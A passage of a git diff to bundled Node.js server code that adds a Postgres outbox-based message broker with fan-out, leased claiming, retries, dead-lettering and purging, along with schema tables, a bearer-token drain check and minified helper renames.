result.value.then(check3); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } function waitDiff(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current !== expected) { done(null, "ok"); @@ -1994,13 +1994,13 @@ var require_wait = __commonJS({ done(null, "ok"); return; } - check2(); + check3(); }); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } module.exports = { wait, waitDiff }; } @@ -9267,13 +9267,13 @@ var require_plugin = __commonJS({ done(); return; } - const check2 = () => { + const check3 = () => { debug("check", this.name, this.queue.length(), this.queue.running(), this._promise); if (this.queue.length() === 0 && this.queue.running() === 0) { if (this._promise) { const wrap = () => { debug("wrap"); - queueMicrotask(check2); + queueMicrotask(check3); }; this._promise.resolve(); this._promise.promise.then(wrap, wrap); @@ -9286,11 +9286,11 @@ var require_plugin = __commonJS({ this.queue.drain = () => { debug("drain", this.name); this.queue.drain = noop3; - queueMicrotask(check2); + queueMicrotask(check3); }; } }; - queueMicrotask(check2); + queueMicrotask(check3); this.queue.resume(); }; function noop3() { @@ -46051,9 +46051,14 @@ function createVercelHandler(app2) { }; } var SERVERLESS_PLACEHOLDER_PORT = "3000"; +var SERVERLESS_DEFAULT_MESSAGING_DRIVER = "postgres"; function withServerlessEnvDefaults(source = process.env) { if (!source.VERCEL) return source; - return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; + return { + ...source, + PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT, + MESSAGING_DRIVER: source.MESSAGING_DRIVER ?? SERVERLESS_DEFAULT_MESSAGING_DRIVER + }; } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js @@ -59581,8 +59586,8 @@ var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { reg.add(this, meta3); return this; }, - refine(check2, params) { - return this.check(refine(check2, params)); + refine(check3, params) { + return this.check(refine(check3, params)); }, superRefine(refinement, params) { return this.check(superRefine(refinement, params)); @@ -67154,6 +67159,33 @@ var pgTable = (name, columns, extraConfig) => { return pgTableWithSchema(name, columns, extraConfig, void 0); }; +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/checks.js +var CheckBuilder = class { + constructor(name, value) { + this.name = name; + this.value = value; + } + static [entityKind] = "PgCheckBuilder"; + brand; + /** @internal */ + build(table2) { + return new Check(table2, this); + } +}; +var Check = class { + constructor(table2, builder) { + this.table = table2; + this.name = builder.name; + this.value = builder.value; + } + static [entityKind] = "PgCheck"; + name; + value; +}; +function check2(name, value) { + return new CheckBuilder(name, value); +} + // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/indexes.js var IndexBuilderOn = class { constructor(unique, name) { @@ -71250,6 +71282,9 @@ __export(schema_exports, { contacts: () => contacts, contactsRelations: () => contactsRelations, employmentTypeEnum: () => employmentTypeEnum, + eventConsumers: () => eventConsumers, + eventDeliveries: () => eventDeliveries, + eventOutbox: () => eventOutbox, idempotencyKeys: () => idempotencyKeys, jobScores: () => jobScores, jobSourceEnum: () => jobSourceEnum, @@ -71704,6 +71739,60 @@ var processedEvents = pgTable( index("processed_events_processed_at_idx").on(table2.processedAt) ] ); +var eventOutbox = pgTable( + "event_outbox", + { + eventId: uuid3("event_id").primaryKey(), + eventType: varchar("event_type", { length: 120 }).notNull(), + occurredAt: timestamp("occurred_at", { withTimezone: true, mode: "string" }).notNull(), + // The envelope's trace context, flattened so "what happened to trace X" is + // a plain indexed query. No FKs: the outbox must never block a user or + // organization deletion. + traceId: varchar("trace_id", { length: 100 }).notNull(), + correlationId: varchar("correlation_id", { length: 100 }).notNull(), + organizationId: uuid3("organization_id"), + userId: uuid3("user_id"), + payload: jsonb("payload").$type().notNull(), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + // Drain cursor order (created_at, event_id), also the purge scan. + index("event_outbox_created_idx").on(table2.createdAt, table2.eventId), + // Fan-out for consumers that subscribe to a few of the event types. + index("event_outbox_type_created_idx").on(table2.eventType, table2.createdAt, table2.eventId), + index("event_outbox_trace_idx").on(table2.traceId) + ] +); +var eventConsumers = pgTable("event_consumers", { + consumer: varchar("consumer", { length: 160 }).primaryKey(), + eventTypes: text("event_types").array().notNull(), + materializedThrough: timestamp("materialized_through", { withTimezone: true, mode: "string" }).notNull().default(sql`'1970-01-01T00:00:00Z'`), + lastDrainedAt: timestamp("last_drained_at", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() +}); +var eventDeliveries = pgTable( + "event_deliveries", + { + eventId: uuid3("event_id").notNull().references(() => eventOutbox.eventId, { onDelete: "cascade" }), + consumer: varchar("consumer", { length: 160 }).notNull(), + status: varchar("status", { length: 16 }).notNull().default("pending"), + attempts: integer2("attempts").notNull().default(0), + /** Sanitized and truncated by the broker — never a raw driver message. */ + lastError: text("last_error"), + nextAttemptAt: timestamp("next_attempt_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + lockedUntil: timestamp("locked_until", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + updatedAt: timestamp("updated_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + primaryKey({ columns: [table2.eventId, table2.consumer] }), + // The claim query: due pending work for a consumer, oldest first. Partial, + // so the (large, append-only) done history never bloats the hot path. + index("event_deliveries_claim_idx").on(table2.consumer, table2.nextAttemptAt).where(sql`${table2.status} = 'pending'`), + index("event_deliveries_dead_idx").on(table2.consumer, table2.updatedAt).where(sql`${table2.status} = 'dead'`), + check2("event_deliveries_status_check", sql`${table2.status} IN ('pending', 'done', 'dead')`) + ] +); var connectorAccounts = pgTable( "connector_accounts", { @@ -71801,7 +71890,7 @@ var redisEnvSchema = external_exports.object({ REDIS_URL: external_exports.string().min(1).default("redis://localhost:6379") }); var messagingEnvSchema = external_exports.object({ - MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq"]).default("memory"), + MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq", "postgres"]).default("memory"), RABBITMQ_URL: external_exports.string().min(1).optional(), MESSAGING_EXCHANGE: external_exports.string().min(1).default("atlas.events"), MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) diff --git a/api/analytics/index.js b/api/analytics/index.js index ebd6f3c..08b1561 100644 --- a/api/analytics/index.js +++ b/api/analytics/index.js @@ -1954,7 +1954,7 @@ var require_wait = __commonJS({ var WAIT_MS = 1e4; function wait(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current === expected) { done(null, "ok"); @@ -1967,16 +1967,16 @@ var require_wait = __commonJS({ const remaining = max === Infinity ? WAIT_MS : Math.min(WAIT_MS, Math.max(1, max - Date.now())); const result = Atomics.waitAsync(state, index2, current, remaining); if (result.async) { - result.value.then(check2); + result.value.then(check3); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } function waitDiff(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current !== expected) { done(null, "ok"); @@ -1994,13 +1994,13 @@ var require_wait = __commonJS({ done(null, "ok"); return; } - check2(); + check3(); }); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } module.exports = { wait, waitDiff }; } @@ -10447,8 +10447,8 @@ var require_heartbeat = __commonJS({ clearInterval(this.sendTimer); clearInterval(this.recvTimer); } - runHeartbeat(check2, fail) { - if (!check2()) + runHeartbeat(check3, fail) { + if (!check3()) fail(); } }; @@ -11047,14 +11047,14 @@ var require_connection = __commonJS({ recv(); } checkSend() { - var check2 = this.sentSinceLastCheck; + var check3 = this.sentSinceLastCheck; this.sentSinceLastCheck = false; - return check2; + return check3; } checkRecv() { - var check2 = this.recvSinceLastCheck; + var check3 = this.recvSinceLastCheck; this.recvSinceLastCheck = false; - return check2; + return check3; } sendBytes(bytes) { this.sentSinceLastCheck = true; @@ -17179,13 +17179,13 @@ var require_plugin = __commonJS({ done(); return; } - const check2 = () => { + const check3 = () => { debug("check", this.name, this.queue.length(), this.queue.running(), this._promise); if (this.queue.length() === 0 && this.queue.running() === 0) { if (this._promise) { const wrap = () => { debug("wrap"); - queueMicrotask(check2); + queueMicrotask(check3); }; this._promise.resolve(); this._promise.promise.then(wrap, wrap); @@ -17198,11 +17198,11 @@ var require_plugin = __commonJS({ this.queue.drain = () => { debug("drain", this.name); this.queue.drain = noop3; - queueMicrotask(check2); + queueMicrotask(check3); }; } }; - queueMicrotask(check2); + queueMicrotask(check3); this.queue.resume(); }; function noop3() { @@ -53961,9 +53961,14 @@ function createVercelHandler(app2) { }; } var SERVERLESS_PLACEHOLDER_PORT = "3000"; +var SERVERLESS_DEFAULT_MESSAGING_DRIVER = "postgres"; function withServerlessEnvDefaults(source = process.env) { if (!source.VERCEL) return source; - return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; + return { + ...source, + PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT, + MESSAGING_DRIVER: source.MESSAGING_DRIVER ?? SERVERLESS_DEFAULT_MESSAGING_DRIVER + }; } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js @@ -67491,8 +67496,8 @@ var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { reg.add(this, meta3); return this; }, - refine(check2, params) { - return this.check(refine(check2, params)); + refine(check3, params) { + return this.check(refine(check3, params)); }, superRefine(refinement, params) { return this.check(superRefine(refinement, params)); @@ -75055,6 +75060,33 @@ var pgTable = (name, columns, extraConfig) => { return pgTableWithSchema(name, columns, extraConfig, void 0); }; +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/checks.js +var CheckBuilder = class { + constructor(name, value) { + this.name = name; + this.value = value; + } + static [entityKind] = "PgCheckBuilder"; + brand; + /** @internal */ + build(table2) { + return new Check(table2, this); + } +}; +var Check = class { + constructor(table2, builder) { + this.table = table2; + this.name = builder.name; + this.value = builder.value; + } + static [entityKind] = "PgCheck"; + name; + value; +}; +function check2(name, value) { + return new CheckBuilder(name, value); +} + // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/indexes.js var IndexBuilderOn = class { constructor(unique, name) { @@ -79151,6 +79183,9 @@ __export(schema_exports, { contacts: () => contacts, contactsRelations: () => contactsRelations, employmentTypeEnum: () => employmentTypeEnum, + eventConsumers: () => eventConsumers, + eventDeliveries: () => eventDeliveries, + eventOutbox: () => eventOutbox, idempotencyKeys: () => idempotencyKeys, jobScores: () => jobScores, jobSourceEnum: () => jobSourceEnum, @@ -79605,6 +79640,60 @@ var processedEvents = pgTable( index("processed_events_processed_at_idx").on(table2.processedAt) ] ); +var eventOutbox = pgTable( + "event_outbox", + { + eventId: uuid3("event_id").primaryKey(), + eventType: varchar("event_type", { length: 120 }).notNull(), + occurredAt: timestamp("occurred_at", { withTimezone: true, mode: "string" }).notNull(), + // The envelope's trace context, flattened so "what happened to trace X" is + // a plain indexed query. No FKs: the outbox must never block a user or + // organization deletion. + traceId: varchar("trace_id", { length: 100 }).notNull(), + correlationId: varchar("correlation_id", { length: 100 }).notNull(), + organizationId: uuid3("organization_id"), + userId: uuid3("user_id"), + payload: jsonb("payload").$type().notNull(), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + // Drain cursor order (created_at, event_id), also the purge scan. + index("event_outbox_created_idx").on(table2.createdAt, table2.eventId), + // Fan-out for consumers that subscribe to a few of the event types. + index("event_outbox_type_created_idx").on(table2.eventType, table2.createdAt, table2.eventId), + index("event_outbox_trace_idx").on(table2.traceId) + ] +); +var eventConsumers = pgTable("event_consumers", { + consumer: varchar("consumer", { length: 160 }).primaryKey(), + eventTypes: text("event_types").array().notNull(), + materializedThrough: timestamp("materialized_through", { withTimezone: true, mode: "string" }).notNull().default(sql`'1970-01-01T00:00:00Z'`), + lastDrainedAt: timestamp("last_drained_at", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() +}); +var eventDeliveries = pgTable( + "event_deliveries", + { + eventId: uuid3("event_id").notNull().references(() => eventOutbox.eventId, { onDelete: "cascade" }), + consumer: varchar("consumer", { length: 160 }).notNull(), + status: varchar("status", { length: 16 }).notNull().default("pending"), + attempts: integer2("attempts").notNull().default(0), + /** Sanitized and truncated by the broker — never a raw driver message. */ + lastError: text("last_error"), + nextAttemptAt: timestamp("next_attempt_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + lockedUntil: timestamp("locked_until", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + updatedAt: timestamp("updated_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + primaryKey({ columns: [table2.eventId, table2.consumer] }), + // The claim query: due pending work for a consumer, oldest first. Partial, + // so the (large, append-only) done history never bloats the hot path. + index("event_deliveries_claim_idx").on(table2.consumer, table2.nextAttemptAt).where(sql`${table2.status} = 'pending'`), + index("event_deliveries_dead_idx").on(table2.consumer, table2.updatedAt).where(sql`${table2.status} = 'dead'`), + check2("event_deliveries_status_check", sql`${table2.status} IN ('pending', 'done', 'dead')`) + ] +); var connectorAccounts = pgTable( "connector_accounts", { @@ -79757,10 +79846,461 @@ var MemoryBroker = class { } }; +// packages/messaging/src/postgres-broker.ts +var EPOCH = "1970-01-01T00:00:00Z"; +var NIL_UUID = "00000000-0000-0000-0000-000000000000"; +var DEFAULT_MAX_RETRIES = 5; +var DEFAULT_LEASE_MS = 9e4; +var DEFAULT_VISIBILITY_OVERLAP_MS = 6e4; +var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; +var DEFAULT_DRAIN_LIMIT = 100; +var DEFAULT_DRAIN_BUDGET_MS = 2e4; +var FAN_OUT_BATCH = 500; +var DEFAULT_PURGE_LIMIT = 500; +var MAX_ERROR_LENGTH = 300; +var MAX_CONSUMER_LENGTH = 160; +function inList(values2) { + return sql.join( + values2.map((value) => sql`${value}`), + sql`, ` + ); +} +function sanitizeError(error51) { + let described; + if (error51 instanceof Error) { + const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + described = `${inner.name}: ${inner.message}`; + } else { + described = String(error51); + } + return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); +} +var PostgresBroker = class { + db; + logger; + defaultMaxRetries; + leaseMs; + visibilityOverlapMs; + retentionMs; + backoffMs; + onDeadLetter; + registrations = /* @__PURE__ */ new Map(); + closed = false; + constructor(options) { + this.db = options.db; + this.logger = options.logger; + this.defaultMaxRetries = options.defaultMaxRetries ?? DEFAULT_MAX_RETRIES; + this.leaseMs = options.leaseMs ?? DEFAULT_LEASE_MS; + this.visibilityOverlapMs = options.visibilityOverlapMs ?? DEFAULT_VISIBILITY_OVERLAP_MS; + this.retentionMs = options.retentionMs ?? DEFAULT_RETENTION_MS; + this.backoffMs = options.backoffMs ?? ((retry) => backoffDelayMs(retry)); + this.onDeadLetter = options.onDeadLetter; + } + async publish(envelope) { + this.assertOpen(); + const event = parseEvent(envelope); + await this.db.insert(schema_exports.eventOutbox).values({ + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + async subscribe(options) { + this.assertOpen(); + if (this.registrations.has(options.consumer)) { + throw new Error(`Consumer "${options.consumer}" is already subscribed`); + } + if (options.consumer.length === 0 || options.consumer.length > MAX_CONSUMER_LENGTH) { + throw new Error(`Consumer name must be 1-${MAX_CONSUMER_LENGTH} characters`); + } + if (options.eventTypes.length === 0) { + throw new Error(`Consumer "${options.consumer}" must subscribe to at least one event type`); + } + this.registrations.set(options.consumer, options); + return { + consumer: options.consumer, + stop: async () => { + this.registrations.delete(options.consumer); + } + }; + } + /** + * Delivers due events to the handlers registered on this instance: + * registers the consumers, fans new outbox rows out to them, then claims + * and runs deliveries one at a time until `limit` deliveries have been + * attempted, `budgetMs` has elapsed, or nothing is due. Safe to run + * concurrently from any number of instances — a delivery is claimed with + * `FOR UPDATE SKIP LOCKED` and leased, so exactly one drain runs it. + */ + async drain(options = {}) { + this.assertOpen(); + const limit = options.limit ?? DEFAULT_DRAIN_LIMIT; + const budgetMs = options.budgetMs ?? DEFAULT_DRAIN_BUDGET_MS; + const startedAt = performance.now(); + const outOfTime = () => performance.now() - startedAt >= budgetMs; + const result = { processed: 0, failed: 0, dead: 0, purged: 0 }; + const registrations = [...this.registrations.values()]; + if (registrations.length === 0) return result; + const states = await this.registerConsumers(registrations); + for (const registration of registrations) { + if (outOfTime()) break; + const state = states.get(registration.consumer); + if (state !== void 0) await this.fanOut(registration, state, outOfTime); + } + const byName = new Map( + registrations.map((registration) => [registration.consumer, registration]) + ); + const names = [...byName.keys()]; + while (result.processed + result.failed + result.dead < limit && !outOfTime()) { + const claimed = await this.claimNext(names); + if (claimed === null) break; + const registration = byName.get(claimed.consumer); + if (registration === void 0) break; + result[await this.deliver(registration, claimed)] += 1; + } + if (this.retentionMs > 0 && !outOfTime()) { + result.purged = await this.purge(new Date(Date.now() - this.retentionMs)); + } + return result; + } + /** + * Removes outbox events (and, by cascade, their delivery rows) created + * before `olderThan`, in batches. An event is kept while any delivery is + * still `pending` (including a retry that is backing off), while a + * registered consumer subscribed to its type has no delivery for it yet and + * has not been fanned out past it (so it could still be owed the event), + * and — unless `includeDead` — while any delivery is `dead`. Returns the + * number of events removed. + * + * A consumer that is registered but permanently gone keeps its types from + * being purged; remove its `event_consumers` row when decommissioning it. + */ + async purge(olderThan, options = {}) { + this.assertOpen(); + const cutoff = typeof olderThan === "string" ? olderThan : olderThan.toISOString(); + const rows = await this.db.execute(sql` + WITH doomed AS ( + SELECT o.event_id + FROM event_outbox o + WHERE o.created_at < ${cutoff}::timestamptz + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d + WHERE d.event_id = o.event_id + AND (d.status = 'pending' OR (d.status = 'dead' AND NOT ${options.includeDead === true}::boolean)) + ) + AND NOT EXISTS ( + SELECT 1 FROM event_consumers c + WHERE o.event_type = ANY (c.event_types) + AND c.materialized_through <= o.created_at + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d2 WHERE d2.event_id = o.event_id AND d2.consumer = c.consumer + ) + ) + ORDER BY o.created_at + LIMIT ${options.limit ?? DEFAULT_PURGE_LIMIT} + FOR UPDATE OF o SKIP LOCKED + ) + DELETE FROM event_outbox WHERE event_id IN (SELECT event_id FROM doomed) + RETURNING event_id + `); + return rows.length; + } + isHealthy() { + return !this.closed; + } + async close() { + this.closed = true; + this.registrations.clear(); + } + assertOpen() { + if (this.closed) throw new Error("PostgresBroker is closed"); + } + /** + * Upserts this instance's consumers. A consumer new to the table starts at + * the epoch (so it receives the whole retained history); one that has since + * subscribed to an event type it did not have before is rewound to the epoch + * too, which is harmless for the types it already had because delivery rows + * are unique per (event, consumer). + */ + async registerConsumers(registrations) { + const table2 = schema_exports.eventConsumers; + const rows = await this.db.insert(table2).values( + registrations.map((registration) => ({ + consumer: registration.consumer, + eventTypes: [...registration.eventTypes] + })) + ).onConflictDoUpdate({ + target: table2.consumer, + set: { + materializedThrough: sql`CASE WHEN ${table2.eventTypes} @> excluded.event_types THEN ${table2.materializedThrough} ELSE ${EPOCH}::timestamptz END`, + eventTypes: sql`excluded.event_types` + } + }).returning({ + consumer: table2.consumer, + materializedThrough: sql`${table2.materializedThrough}::text`, + snapshotAt: sql`now()::text` + }); + return new Map( + rows.map((row) => [ + row.consumer, + { materializedThrough: row.materializedThrough, snapshotAt: row.snapshotAt } + ]) + ); + } + /** + * Creates a `pending` delivery for `registration` for every outbox row of + * its types at or after `state.materializedThrough`, in (created_at, + * event_id) order and in bounded batches, then advances the cursor. + * + * Why the cursor trails the clock. `created_at` is the transaction start, a + * row only becomes visible when it commits, and the scan reads whatever is + * visible now. A row that commits after this scan therefore must not fall + * behind the cursor, or it would never be delivered. A row invisible to a + * statement that ran at time T committed after T, so its `created_at` is + * later than T minus the longest publish transaction. The cursor is held at + * T minus `visibilityOverlapMs` (and never past the last row scanned if the + * pass was cut short), and the overlap window is simply scanned again next + * time; `ON CONFLICT DO NOTHING` makes the repeat free of side effects. + */ + async fanOut(registration, state, outOfTime) { + let afterCreatedAt = state.materializedThrough; + let afterEventId = NIL_UUID; + let lastScannedAt = null; + let complete = false; + while (!outOfTime()) { + const batch = await this.db.execute(sql` + WITH batch AS ( + SELECT event_id, created_at + FROM event_outbox + WHERE event_type IN (${inList(registration.eventTypes)}) + AND (created_at, event_id) > (${afterCreatedAt}::timestamptz, ${afterEventId}::uuid) + ORDER BY created_at, event_id + LIMIT ${FAN_OUT_BATCH} + ), inserted AS ( + INSERT INTO event_deliveries (event_id, consumer, next_attempt_at) + SELECT event_id, ${registration.consumer}::varchar, now() FROM batch + ON CONFLICT (event_id, consumer) DO NOTHING + ) + SELECT event_id, created_at::text AS created_at FROM batch ORDER BY created_at, event_id + `); + const last = batch[batch.length - 1]; + if (last !== void 0) { + afterCreatedAt = last.created_at; + afterEventId = last.event_id; + lastScannedAt = last.created_at; + } + if (batch.length < FAN_OUT_BATCH) { + complete = true; + break; + } + } + const bound = complete ? "infinity" : lastScannedAt ?? state.materializedThrough; + await this.db.execute(sql` + UPDATE event_consumers + SET materialized_through = GREATEST( + materialized_through, + LEAST( + ${state.snapshotAt}::timestamptz - make_interval(secs => ${this.visibilityOverlapMs / 1e3}::double precision), + ${bound}::timestamptz + ) + ), + last_drained_at = now() + WHERE consumer = ${registration.consumer} + `); + } + /** + * Leases the oldest due delivery of any of `consumers`. `SKIP LOCKED` makes + * concurrent claimers pass over each other's rows instead of waiting; the + * lease (`locked_until`) then keeps the row claimed after this statement's + * row lock is gone, while the handler runs outside any transaction. + * `attempts` is bumped here, so a delivery that keeps crashing its drain + * still runs out of retries. + */ + async claimNext(consumers) { + const rows = await this.db.execute(sql` + WITH picked AS ( + SELECT event_id, consumer + FROM event_deliveries + WHERE consumer IN (${inList(consumers)}) + AND status = 'pending' + AND next_attempt_at <= now() + AND (locked_until IS NULL OR locked_until <= now()) + ORDER BY next_attempt_at, created_at + LIMIT 1 + FOR UPDATE SKIP LOCKED + ), claimed AS ( + UPDATE event_deliveries d + SET attempts = d.attempts + 1, + locked_until = now() + make_interval(secs => ${this.leaseMs / 1e3}::double precision), + updated_at = now() + FROM picked + WHERE d.event_id = picked.event_id AND d.consumer = picked.consumer + RETURNING d.event_id, d.consumer, d.attempts + ) + SELECT c.consumer, + c.attempts, + o.event_id, + o.event_type, + to_char(o.occurred_at AT TIME ZONE 'UTC', 'YYYY-MM-DD"T"HH24:MI:SS.MS"Z"') AS occurred_at, + o.trace_id, + o.correlation_id, + o.organization_id, + o.user_id, + o.payload + FROM claimed c + JOIN event_outbox o ON o.event_id = c.event_id + `); + return rows[0] ?? null; + } + async deliver(registration, claimed) { + let envelope; + try { + envelope = parseEvent({ + event_id: claimed.event_id, + event_type: claimed.event_type, + occurred_at: claimed.occurred_at, + trace: { + trace_id: claimed.trace_id, + correlation_id: claimed.correlation_id, + organization_id: claimed.organization_id, + user_id: claimed.user_id + }, + payload: claimed.payload + }); + } catch (error51) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "dead-lettering unparseable outbox event" + ); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + } + if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { + return this.bury( + claimed, + envelope, + "retries exhausted: earlier attempts never reported back (the function timed out or crashed)" + ); + } + try { + if (await this.alreadyProcessed(claimed)) { + return await this.complete(claimed); + } + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; + try { + await registration.handler(envelope, context2); + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + return this.complete(claimed); + } + async alreadyProcessed(claimed) { + const [row] = await this.db.select({ eventId: schema_exports.processedEvents.eventId }).from(schema_exports.processedEvents).where( + and( + eq(schema_exports.processedEvents.eventId, claimed.event_id), + eq(schema_exports.processedEvents.consumer, claimed.consumer) + ) + ).limit(1); + return row !== void 0; + } + /** + * Records success: the `processed_events` row (idempotent — analytics + * writes its own inside its handler, in the same transaction as its side + * effect) and `done`, atomically. The update is fenced on `attempts`, so a + * drain whose lease expired mid-handler cannot overwrite the state written + * by whoever claimed the delivery next. + */ + async complete(claimed) { + try { + const updated = await this.db.transaction(async (tx) => { + await tx.insert(schema_exports.processedEvents).values({ eventId: claimed.event_id, consumer: claimed.consumer }).onConflictDoNothing(); + return tx.update(schema_exports.eventDeliveries).set({ status: "done", lockedUntil: null, lastError: null, updatedAt: sql`now()` }).where(this.fence(claimed)).returning({ eventId: schema_exports.eventDeliveries.eventId }); + }); + if (updated.length === 0) { + this.logger.warn( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "delivery lease expired before completion; another drain owns it now" + ); + } + return "processed"; + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a successful delivery" + ); + return "failed"; + } + } + async retryOrBury(registration, claimed, envelope, error51) { + const retry = claimed.attempts - 1; + const description = sanitizeError(error51); + if (retry < this.maxRetriesFor(registration)) { + return this.settle(claimed, "failed", description, this.backoffMs(retry)); + } + return this.bury(claimed, envelope, description); + } + maxRetriesFor(registration) { + return registration.maxRetries ?? this.defaultMaxRetries; + } + async bury(claimed, envelope, description) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id, attempts: claimed.attempts }, + "dead-lettering event after exhausting retries" + ); + const outcome = await this.settle(claimed, "dead", description); + try { + this.onDeadLetter?.({ + envelope, + consumer: claimed.consumer, + attempts: claimed.attempts, + error: description, + deadLetteredAt: (/* @__PURE__ */ new Date()).toISOString() + }); + } catch (callbackError) { + this.logger.error({ err: callbackError }, "onDeadLetter callback threw"); + } + return outcome; + } + /** Writes a failure: back to `pending` after `delayMs`, or `dead`. */ + async settle(claimed, outcome, description, delayMs = 0) { + try { + await this.db.update(schema_exports.eventDeliveries).set({ + status: outcome === "dead" ? "dead" : "pending", + lastError: description, + lockedUntil: null, + nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, + updatedAt: sql`now()` + }).where(this.fence(claimed)); + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a failed delivery" + ); + } + return outcome; + } + fence(claimed) { + return and( + eq(schema_exports.eventDeliveries.eventId, claimed.event_id), + eq(schema_exports.eventDeliveries.consumer, claimed.consumer), + eq(schema_exports.eventDeliveries.attempts, claimed.attempts), + eq(schema_exports.eventDeliveries.status, "pending") + ); + } +}; + // packages/messaging/src/rabbitmq-broker.ts var import_amqplib = __toESM(require_channel_api(), 1); // packages/messaging/src/envelope.ts +var DERIVED_EVENT_NAMESPACE = Buffer.from("6f1d0c3ae2b94d7f8a5c9e04b7d31a62", "hex"); function routingKeyFor(eventType) { return eventType; } @@ -79905,11 +80445,39 @@ var RabbitMqBroker = class { } }; +// packages/messaging/src/broker.ts +function isDrainableBroker(broker2) { + return typeof broker2.drain === "function"; +} + +// packages/messaging/src/drain-auth.ts +import { createHash as createHash2, timingSafeEqual as timingSafeEqual2 } from "node:crypto"; +function digest(value) { + return createHash2("sha256").update(value, "utf8").digest(); +} +function isAuthorizedDrainRequest(authorization, secret) { + if (secret === "") return false; + const match = /^Bearer\s+(\S+)\s*$/i.exec(authorization ?? ""); + const presented = match?.[1] ?? ""; + const equal = timingSafeEqual2(digest(presented), digest(secret)); + return equal && match !== null; +} + // packages/messaging/src/index.ts function createBroker(options) { if (options.driver === "memory") { return new MemoryBroker({ defaultMaxRetries: options.maxRetries ?? 3 }); } + if (options.driver === "postgres") { + if (options.db === void 0) { + throw new Error("A database handle is required when MESSAGING_DRIVER=postgres"); + } + return new PostgresBroker({ + db: options.db, + logger: options.logger, + ...options.maxRetries === void 0 ? {} : { defaultMaxRetries: options.maxRetries } + }); + } if (options.url === void 0 || options.url === "") { throw new Error("RABBITMQ_URL is required when MESSAGING_DRIVER=rabbitmq"); } @@ -79941,7 +80509,7 @@ var redisEnvSchema = external_exports.object({ REDIS_URL: external_exports.string().min(1).default("redis://localhost:6379") }); var messagingEnvSchema = external_exports.object({ - MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq"]).default("memory"), + MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq", "postgres"]).default("memory"), RABBITMQ_URL: external_exports.string().min(1).optional(), 